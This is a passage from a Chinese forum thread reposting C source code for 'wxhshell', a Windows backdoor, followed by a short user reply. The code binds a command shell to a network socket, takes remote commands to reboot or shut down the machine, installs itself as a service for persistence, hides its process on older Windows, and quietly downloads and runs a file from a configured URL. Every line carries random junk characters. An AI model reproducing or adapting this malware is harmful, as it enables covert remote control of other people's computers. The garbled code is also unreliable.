  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@euO~e~  
  else fZ-"._9UyH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %$ya>0?mq  
  } XdJD"|,h  
  else { t#.}0Te7  
iOZ9A~Ywy  
    switch(cmd[0]) { dLYM )-H`>  
  ,&,%B|gT]  
  // 帮助 ) ' xyK  
  case '?': { *R+M#l9D`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1< vJuF^  
    break; wxHd^b  
  } X.#*+k3s0  
  // 安装 !ldEy#"X  
  case 'i': { OFr"RGW"  
    if(Install()) Q qF<HCO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sN1H{W  
    else o*204BGB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uM$b/3%s  
    break; Gs~eRcIB  
    } dlo`](5m  
  // 卸载 i]<@  
  case 'r': { GgE g(AT  
    if(Uninstall())  z/91v#}.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6H0kY/quL|  
    else f1:>H.m`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Cvd3%Jje  
    break; |vd|; " `  
    } ,IhQ%)l  
  // 显示 wxhshell 所在路径 cy@oAoBq  
  case 'p': { )$p36dWl  
    char svExeFile[MAX_PATH]; 3_@I E2dA  
    strcpy(svExeFile,"\n\r"); ?xwi2<zz  
      strcat(svExeFile,ExeFile); uB+#<F/c  
        send(wsh,svExeFile,strlen(svExeFile),0); GOxP{d?  
    break; j?C[ids<  
    } F7<M{h5s  
  // 重启 +On2R&m  
  case 'b': { (A2ga):Pk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jk`U7 G*  
    if(Boot(REBOOT)) IsT}T}p,t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uhvy 2}w  
    else { :Jyr^0`J  
    closesocket(wsh); Pm P&Qje7  
    ExitThread(0); 9=}#.W3.  
    } )Jvo%Y  
    break; Gu{1%bb#kL  
    } fUvXb>f,  
  // 关机 kDJYEI9j>  
  case 'd': { JQ ?8yl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pjq9BK9p  
    if(Boot(SHUTDOWN)) *As"U99(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J,v024TM  
    else { b6;MTz*k>  
    closesocket(wsh); ~Q"qz<WO  
    ExitThread(0); !]R>D{""  
    } V?t*c [  
    break; &u9,|n]O9  
    } ipu~T)}  
  // 获取shell A PSkW9H  
  case 's': { ,&,XcbJ  
    CmdShell(wsh); _H U>T  
    closesocket(wsh); V9ZM4.,OCN  
    ExitThread(0); 6 [bQ'Ir^8  
    break; N\ <riS9  
  } }qGd*k0F0  
  // 退出 L|{vkkBo  
  case 'x': { -^_^ByJe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); : HU|BJ>  
    CloseIt(wsh); [2Y@O7;n I  
    break; @sa_/LH!K  
    } _$A?  
  // 离开 iPCn-DoIS  
  case 'q': { 'xuxMav6m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,V!Wo4M  
    closesocket(wsh); F+5 5p8  
    WSACleanup(); , MqoX-+  
    exit(1); rLeQB p'  
    break; 43=)akJi  
        } YpZuAJm<2_  
  } ~2[kCuu  
  } T g(\7Kq  
L5:1dF  
  // 提示信息 nCV7(ldmH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B{` K?e0  
} ?!"pzDg  
  } "8) %XSb  
_TdH6[9  
  return; K d#(eGe  
} ~"bBwPI  
?Z!R  
// shell模块句柄 |pknaz  
int CmdShell(SOCKET sock) bWp)'mx5u  
{ M!hD`5.3  
STARTUPINFO si; /V/ )A\g  
ZeroMemory(&si,sizeof(si)); eF0FQlMe[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U |eh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AH#a+<;a  
PROCESS_INFORMATION ProcessInfo; 6e|uA7i4  
char cmdline[]="cmd"; D1ik*mDA=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e~he#o[%a  
  return 0; >C{8}Lg-.  
} 6*1f -IbV  
CE (zt  
// 自身启动模式 $<VH~Q<  
int StartFromService(void) f\hQ>MLzt  
{ #xR=U"  
typedef struct > B;YYj~f}  
{ Qo]qs+  
  DWORD ExitStatus; Dm?:j9o]g  
  DWORD PebBaseAddress; d=\TC'd"{  
  DWORD AffinityMask; :rk6Stn$z  
  DWORD BasePriority; 2.{zf r  
  ULONG UniqueProcessId; vytO8m%U  
  ULONG InheritedFromUniqueProcessId; 7#&Q-3\:  
}   PROCESS_BASIC_INFORMATION; y9T 5  
`S3)uV]I  
PROCNTQSIP NtQueryInformationProcess; 0}` -<(  
`Y!8,( 5#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =(R3-['QIb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %b h: c5  
<Pf4[q&wM  
  HANDLE             hProcess; O#!|2qN  
  PROCESS_BASIC_INFORMATION pbi; [Tvdchl OC  
',D%,N}J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pL*aU=FjQ  
  if(NULL == hInst ) return 0; hVz]' ,  
qm9=Ga5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); klc$n07  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L[5U(`q[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'aeuL1mz  
b!/-9{  
  if (!NtQueryInformationProcess) return 0; %ol1WG9  
GAs.?JHd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); svt3gkR0  
  if(!hProcess) return 0; 7uu\R=$  
Oku7&L1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g%)cyri  
39 pA:3iTd  
  CloseHandle(hProcess); Q7zpu/5?  
N3)n**  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d|gfp:Z`a  
if(hProcess==NULL) return 0; 8X? EB6=c  
~XXNzz ]?  
HMODULE hMod; oOLj? 0t  
char procName[255]; [T3%Xt'4  
unsigned long cbNeeded; t3v_o4`&  
s`yg?CR`,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |NTqJ j  
8"[{[<-   
  CloseHandle(hProcess); "ChJR[4@  
lQRtsmZ0  
if(strstr(procName,"services")) return 1; // 以服务启动 w}97`.Kt!n  
yr.sfPnJK  
  return 0; // 注册表启动 y34<B)Wy  
} 0\k {v  
[s] ZT  
// 主模块 A^|~>9  
int StartWxhshell(LPSTR lpCmdLine) 1bDXv, nD  
{ >C5u>@%9O  
  SOCKET wsl; k|jr+hmn":  
BOOL val=TRUE; .WBp!*4  
  int port=0; v@fy*T\3  
  struct sockaddr_in door; cQ`0d3  
s? Gv/&  
  if(wscfg.ws_autoins) Install(); n0V^/j}  
Uu Zjf9}  
port=atoi(lpCmdLine); S*76V"")  
+'VYqu/  
if(port<=0) port=wscfg.ws_port; On[yL$?  
JZ> (h  
  WSADATA data; \nTV;@F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YKOj  
SUvrOl   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yKz%-6cpSl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S`TQWWQo;  
  door.sin_family = AF_INET; y M-k]_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >oi?aD%  
  door.sin_port = htons(port);  Oe "%v;-  
4`o<e)c3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \0e`sOS`L  
closesocket(wsl); {=U*!`D  
return 1; S C}@eA'  
} D '% O<.m  
^q|W@uG-(  
  if(listen(wsl,2) == INVALID_SOCKET) { HHs!6`R$0c  
closesocket(wsl); e;|$nw-  
return 1; ?jvuTS2  
} #\K"FE0PGz  
  Wxhshell(wsl); <LJb,l"  
  WSACleanup(); mwZ) PySm)  
lPtML<a  
return 0; Jm0.\[J  
&xt GabNk  
} )4 ,U  
-I;\9r+  
// 以NT服务方式启动 p3T:Y_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rJRg4Rog  
{ ##alzC  
DWORD   status = 0; /?S^#q>m%  
  DWORD   specificError = 0xfffffff; xm=$D6O:  
V&Rwj_Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `z7,HJ.0c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _lm^v%J$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zdfh*MHMg  
  serviceStatus.dwWin32ExitCode     = 0; wAL}c(EHO  
  serviceStatus.dwServiceSpecificExitCode = 0; #veV {,g  
  serviceStatus.dwCheckPoint       = 0; &zP> pQr`#  
  serviceStatus.dwWaitHint       = 0; (I+e@UUiL  
}EJ/H3<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i;29*"  
  if (hServiceStatusHandle==0) return; ^oW{N  
zW)Wt.svP  
status = GetLastError(); RU>qj *e  
  if (status!=NO_ERROR) @Q;s[Kg{!  
{ @:>gRD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~zWLqnS}  
    serviceStatus.dwCheckPoint       = 0; hp2$[p6O  
    serviceStatus.dwWaitHint       = 0; h b8L[ 4  
    serviceStatus.dwWin32ExitCode     = status; y3PrLBTz  
    serviceStatus.dwServiceSpecificExitCode = specificError; {9^p3Q+:P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q)AX*T+  
    return; 0y+i?y 9  
  } 2n-kJl`: O  
Ea-U+7JC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qam48XZ >  
  serviceStatus.dwCheckPoint       = 0; H4sc7-  
  serviceStatus.dwWaitHint       = 0; 1<*U:W $g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H(y Gh  
} Tb8r+~HK  
ojA!!Ru  
// 处理NT服务事件,比如:启动、停止 64>CfU(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #5{BxX&\  
{ MpIiHKQ G9  
switch(fdwControl) lXzm)  
{ !aL=R)G&e  
case SERVICE_CONTROL_STOP: ~CdW: t  
  serviceStatus.dwWin32ExitCode = 0; d9%P[(yM^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; - leYR`P  
  serviceStatus.dwCheckPoint   = 0; |f.,fVVV;  
  serviceStatus.dwWaitHint     = 0;  Q7tvpU  
  { 6GqC]rd*:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /{ W6]6^  
  } tvq((2  
  return; #l7v|)9v  
case SERVICE_CONTROL_PAUSE: B<a` o&?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eg1F[~YL/  
  break; BL"7_phM,  
case SERVICE_CONTROL_CONTINUE: Ed2A\S6tl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uv^x  
  break; HIC!:|  
case SERVICE_CONTROL_INTERROGATE: Htln <N  
  break; & Y2xO  
}; Bvh{|tP4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1i'y0]f  
} 1uB$@a\  
#VVfHCy  
// 标准应用程序主函数 \<G"9w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |{_>H '  
{ $J&c1  
hhFO,  
// 获取操作系统版本 7T t!h f  
OsIsNt=GetOsVer(); ]0j_yX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !]RSG^%s{  
~P;A 9A(k  
  // 从命令行安装 j2.7b1s  
  if(strpbrk(lpCmdLine,"iI")) Install(); S kB*w'k  
yf4L0.  
  // 下载执行文件 0r8Wv,7Bo  
if(wscfg.ws_downexe) { @2 *Q*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =)gdxywoC  
  WinExec(wscfg.ws_filenam,SW_HIDE); WIpV'F|t]`  
} %qTIT?6'  
6<R[hIWpZ}  
if(!OsIsNt) { 5NH4C  
// 如果时win9x,隐藏进程并且设置为注册表启动 4-Jwy  
HideProc(); K>b4(^lf  
StartWxhshell(lpCmdLine); G#^0Bh&  
} kRBO]  
else =;b3i1'U  
  if(StartFromService()) qd#7A ksm  
  // 以服务方式启动 ,VSO;:Z  
  StartServiceCtrlDispatcher(DispatchTable); c"pOi&  
else 5Dz$_2oM3  
  // 普通方式启动 9cU9'r# h  
  StartWxhshell(lpCmdLine); x{tlC}t  
\<09.q<8  
return 0; `Pc<0*`a  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五